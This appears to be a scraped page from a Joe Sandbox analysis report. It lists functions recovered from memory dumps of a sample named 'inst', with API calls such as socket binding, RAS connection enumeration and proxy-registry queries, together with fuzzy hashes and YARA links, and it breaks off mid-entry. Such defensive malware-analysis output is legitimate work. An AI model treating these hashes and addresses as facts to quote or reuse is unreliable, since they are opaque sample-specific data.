Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3H_prolog3__wcschr
String ID:
API String ID: 4028972141-0
Opcode ID: c453f1dcbceefd18d52db73e08a9b99dc64cbc9eafd4f5aba72cc1a488c8ff50
Instruction ID: 07b8673d06bc263fbc43440d67252ffe42b4d88c98f0f3b6008a17bc29fc7011
Opcode Fuzzy Hash: c453f1dcbceefd18d52db73e08a9b99dc64cbc9eafd4f5aba72cc1a488c8ff50
Instruction Fuzzy Hash: 72019231288B14EAE708AA60CC12FFD3291BB35756F118112F90A9A0E1DBB84E90D792

Function 00184BB9 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00184BC2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 70a148a57471f89d6a0fbdb5149b52717c53522bbdb11fa1df4bba4d99b62540
Instruction ID: 0012f1cec55f09a3cf35194ecf77ba0e8d49926339754106ea227bf15a87b24a
Opcode Fuzzy Hash: 70a148a57471f89d6a0fbdb5149b52717c53522bbdb11fa1df4bba4d99b62540
Instruction Fuzzy Hash: 3011A571500706DFD735AB68CC45BD673E8BB18356F014929F59A87092EBB4EA88CFD0

Function 5F51C780 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(5F5BC3F0,000004CC,00000000,00000001), ref: 5F51C7E1

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 4eee8d0da18b91263007244a731ab12bd501089b7c61631fe133d59376d7cc37
Instruction ID: fd30dc28ac643d0b2626704c20eb1a507572d4ac76bd7f42dd80ccf5b0bb5986
Opcode Fuzzy Hash: 4eee8d0da18b91263007244a731ab12bd501089b7c61631fe133d59376d7cc37
Instruction Fuzzy Hash: 19018CB96016019FEB08EF19C848C97BBE5EF88320B11C47EE949CB761D771E800CAA0

Function 5F522675 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 5F5221AC: socket.WS2_32(00000002,00000002,00000011), ref: 5F5221C3
Part of subcall function 5F5221AC: _memset.LIBCMT ref: 5F5221DB
Part of subcall function 5F5221AC: htonl.WS2_32(00000000), ref: 5F5221F2
Part of subcall function 5F5221AC: htons.WS2_32(?), ref: 5F5221FA
Part of subcall function 5F5221AC: htonl.WS2_32(0100007F), ref: 5F522216
Part of subcall function 5F5221AC: bind.WS2_32(00000000,?,00000010), ref: 5F522222

closesocket.WS2_32(?), ref: 5F522693

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: htonl$_memsetbindclosesockethtonssocket
String ID:
API String ID: 95467627-0
Opcode ID: a15ccbe16c4228ba5f6cb7f7a22e74fa58b1e6f1b0463a24e9f7d17fb5d978d1
Instruction ID: 1d406b04fadfe4aa9f18cf95db687c5894660e7d31c83e44211993fc96f1cf77
Opcode Fuzzy Hash: a15ccbe16c4228ba5f6cb7f7a22e74fa58b1e6f1b0463a24e9f7d17fb5d978d1
Instruction Fuzzy Hash: 5CF028D788F7D42AF73196704C1568B7ED4EB02264B480FBAE062DA4C2E985B6884391

Function 5F521CB9 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F5231D5

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: af538cd043288dd749ce54a756f71cdef0dfbcf575e79ae3ac8efeca56c8ba03
Instruction ID: 5499b686df078b23594de08e7ae0f5ca826e00b6a1edc8cfce60fb1666c009f3
Opcode Fuzzy Hash: af538cd043288dd749ce54a756f71cdef0dfbcf575e79ae3ac8efeca56c8ba03
Instruction Fuzzy Hash: AF016D76602209ABCB00DBA48C41EEFB7F9EF94720F10452FE905E7281DB75AA1497A5

Function 001EF4B2 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 001EF4F9

Part of subcall function 001E98D1: __getptd_noexit.LIBCMT ref: 001E98D1

Part of subcall function 001EA5B1: __decode_pointer.LIBCMT ref: 001EA5BC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 3158947991-0
Opcode ID: 8cc5c849388d8ae857f3e2120c2b29b6c103b3d8ff9ce3a2ef6243e70bd7cfd5
Instruction ID: 2e5ac2051009f2469c0e6c8b3f07b4078df3474a72689a6baa6e57fd92333b81
Opcode Fuzzy Hash: 8cc5c849388d8ae857f3e2120c2b29b6c103b3d8ff9ce3a2ef6243e70bd7cfd5
Instruction Fuzzy Hash: E2F0C271C00A99EBCF22BFA68C0289F3B70BF11B11F118569FC145A091D7358A62DB91

Function 5F4E7D94 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 5F4E7DCA

Part of subcall function 5F5131EC: _memset.LIBCMT ref: 5F513151
Part of subcall function 5F5131EC: RasEnumConnectionsW.RASAPI32(?,?,?), ref: 5F51317C
Part of subcall function 5F5131EC: _memset.LIBCMT ref: 5F51319B
Part of subcall function 5F5131EC: RasGetConnectStatusW.RASAPI32(?,?), ref: 5F5131B0

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memset$ConnectConnectionsEnumStatus
String ID:
API String ID: 3492228599-0
Opcode ID: 5794bdef16936b5e868cad13ea8041dd5d8bec93e3ce9616094bff550c755689
Instruction ID: c1f372c6b56dda3f0e624b59e1ad7eca881f6b362d1857b4884e7c4b20358eac
Opcode Fuzzy Hash: 5794bdef16936b5e868cad13ea8041dd5d8bec93e3ce9616094bff550c755689
Instruction Fuzzy Hash: DDF096B2D0131477DB50A6F5DC45FCB7BEC9B40761F408526EA25D6290EB70E514CBE1

Function 5F4D8B0A Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

std::_String_base::_Xlen.LIBCPMT ref: 5F4D8B1A

Part of subcall function 5F541FB5: __EH_prolog3.LIBCMT ref: 5F541FBC
Part of subcall function 5F541FB5: __CxxThrowException@8.LIBCMT ref: 5F541FE7

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Exception@8H_prolog3String_base::_ThrowXlenstd::_
String ID:
API String ID: 1675473389-0
Opcode ID: e9131c7728ce30436ca99ece98399f72f173fd2ed61b558046b14b774d739e84
Instruction ID: 0edff1dda5de325d48b6bec5ef7a4ccd6912d93fe4dc0271055a38f54803fd4d
Opcode Fuzzy Hash: e9131c7728ce30436ca99ece98399f72f173fd2ed61b558046b14b774d739e84
Instruction Fuzzy Hash: 06F0E9F13076106BDB21992888789BFB6EBDFC1A20F100E5FF463C3290DB71A84581A2

Function 001A2343 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 001A236A

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: ClientRect
String ID:
API String ID: 846599473-0
Opcode ID: b415b2cee114baeefc9e86f4f87a69a0303cc209efa906d7075c1278cbe592ad
Instruction ID: 2c226c7450f649e9e9da97fd32717c7b15bd1533e4b119a3658cf69ff5598195
Opcode Fuzzy Hash: b415b2cee114baeefc9e86f4f87a69a0303cc209efa906d7075c1278cbe592ad
Instruction Fuzzy Hash: 0FF0E77290020AEFCB10DFADC8449AEFBF8FF95604F00455AA455E2211D7706A01CB50

Function 00178940 Relevance: 1.5, APIs: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(?,?,00000000,?,?,?,?,00000000,?), ref: 00178967

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 88c3212ebc80cc17f2d8c472aac7e543886ed3a3b0ad33c5e618d84c2a3c499d
Instruction ID: 5fdb88df03094fa8903ebb5cddc59590f65905b950105bc5748addc23d59a22b
Opcode Fuzzy Hash: 88c3212ebc80cc17f2d8c472aac7e543886ed3a3b0ad33c5e618d84c2a3c499d
Instruction Fuzzy Hash: DEF0F47610120AEFDF05DF80DC05EEE7B79EF58344F10801AFE4156260DB76AA21DBA0

Function 001B566F Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000FC,?), ref: 001B56A2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 77e497e4194b5653e94522e762f1e1e18f222cb81776387d327aeb49302edff2
Instruction ID: f21655097f11ded1cb75edf5dba33bdb65d2fab22b29f5bb797053cbac2ba84d
Opcode Fuzzy Hash: 77e497e4194b5653e94522e762f1e1e18f222cb81776387d327aeb49302edff2
Instruction Fuzzy Hash: 6AF0A773105211AFC611AF99DC44C4FFBBDEFC8710711890AF65687151C730D845CBA1

Function 5F51C7F0 Relevance: 1.5, APIs: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 5F528425: _malloc.LIBCMT ref: 5F52843F

PostMessageW.USER32(5F5BC3F0,000004CB,00000000,00000001), ref: 5F51C839

Part of subcall function 5F51C522: _memset.LIBCMT ref: 5F51C530

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: MessagePost_malloc_memset
String ID:
API String ID: 2839725968-0
Opcode ID: 0cdf9f17a4aad3188a0d5fc7db694cdbacd4a423c804a4c097e2b9cc4c55f176
Instruction ID: d67bef712a8d988452b46833094e9f332fc7646ec2c9092f55c5c005cf5d4ebc
Opcode Fuzzy Hash: 0cdf9f17a4aad3188a0d5fc7db694cdbacd4a423c804a4c097e2b9cc4c55f176
Instruction Fuzzy Hash: A9F01DB46153019FE708DF25D458D96BBE1EF84320F12C96EA4898B395D771E801CA91

Function 001AF07C Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001AF083

Part of subcall function 001AEF1E: __EH_prolog3.LIBCMT ref: 001AEF25

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: c355c4ea72dd5ae056c3653c306d8a9c5ded732e4f9e4faa593af82a726a65d3
Instruction ID: bae524271ec1e0343edf066ce2943f88a2f873474d39301481d1a29cdda2d408
Opcode Fuzzy Hash: c355c4ea72dd5ae056c3653c306d8a9c5ded732e4f9e4faa593af82a726a65d3
Instruction Fuzzy Hash: C1F0273A901618AFCB119F9089017DD3BA2EF1A720F044518FD605B2E2D7358A52AB81

Function 5F51C72F Relevance: 1.5, APIs: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

Part of subcall function 5F528425: _malloc.LIBCMT ref: 5F52843F

PostMessageW.USER32(5F5BC3F0,000004CD,00000000,00000001), ref: 5F51C776

Part of subcall function 5F51C522: _memset.LIBCMT ref: 5F51C530

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: MessagePost_malloc_memset
String ID:
API String ID: 2839725968-0
Opcode ID: 46e6307414f11b4cc3926c609d7415700a668694d2c7d0ee3c996a6a88d8eca5
Instruction ID: 351252728c1bb0e21b38143d71ad49e1b0d4bab571756db8c4d05ce7b55b5452
Opcode Fuzzy Hash: 46e6307414f11b4cc3926c609d7415700a668694d2c7d0ee3c996a6a88d8eca5
Instruction Fuzzy Hash: 17F0B4B96013009FE7089F19D408EA2FBF5EFC4720B15C46EA4488B291D7B2EC41CB50

Function 5F516BE8 Relevance: 1.5, APIs: 1, Instructions: 31registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,?,5F4F5BD5,customproxytype,?,FF4173A1), ref: 5F516C13

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 4ab598b453c1cf5901ce718a6f9bd654490634c60baf5d7b91e665fa523f3560
Instruction ID: 8193370e37f10e5c32041684da301b3156773ac45b612a90b598413bcfd2c33a
Opcode Fuzzy Hash: 4ab598b453c1cf5901ce718a6f9bd654490634c60baf5d7b91e665fa523f3560
Instruction Fuzzy Hash: D5F0FEB6610205FBEB09DFA4C844FDA7BA8EB04358F00852CBD46D7280E670F648CA60

Function 00181631 Relevance: 1.5, APIs: 1, Instructions: 30threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00181634

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 2fc6311a118a79d63f124e98dc89630e5abd5456607a6f8c624c2ee476cd98c2
Instruction ID: 06e6f9ccc340d0d03e90e8ae3b667ce052a20b13f0579da7994843545fea6d85
Opcode Fuzzy Hash: 2fc6311a118a79d63f124e98dc89630e5abd5456607a6f8c624c2ee476cd98c2
Instruction Fuzzy Hash: A4F082365007008FD7249B38F809BD273E9FB54362F15486EE0A6C7045E7B4D986CF90

Function 00163E90 Relevance: 1.5, APIs: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000,?,00164DC5,?,00000000,?,00000000,?,?,00161043,?), ref: 00163E9B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 2702f5fdabb35c4d6f74e61abfbc9e5af622b941ec63b87cd5935f7f4cc41dc8
Instruction ID: 74c10e27f710d3f1a5837a6ae83f80e1b98d8b4e8eff0d2ff8c371d7292e09b2
Opcode Fuzzy Hash: 2702f5fdabb35c4d6f74e61abfbc9e5af622b941ec63b87cd5935f7f4cc41dc8
Instruction Fuzzy Hash: 19E04FE6B282103EE614B6A47E4AF6B229CDFD0B04F244429B84AD2540FB5199209673

Function 001D6A97 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000002,?,00198D5A,00000000,00000000,?,?,001D6931,?,0000011E,FFFFFEE2,00000002,?,00000000,00000000,00000748), ref: 001D6AC1

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d80683ec956ba6354ef95f37c32e74b709ca4f978c2bd24e605e510bb5d29f95
Instruction ID: 231a55755f542a53593892e1182b43c1b3a33487412f9e3a5b11c092d7f6e899
Opcode Fuzzy Hash: d80683ec956ba6354ef95f37c32e74b709ca4f978c2bd24e605e510bb5d29f95
Instruction Fuzzy Hash: 1FE0C931500128FB8F109F69DA0199A7BA8EB25391B10C566F856E6290F731DE10EF60

Function 001CA29F Relevance: 1.5, APIs: 1, Instructions: 25COMMON

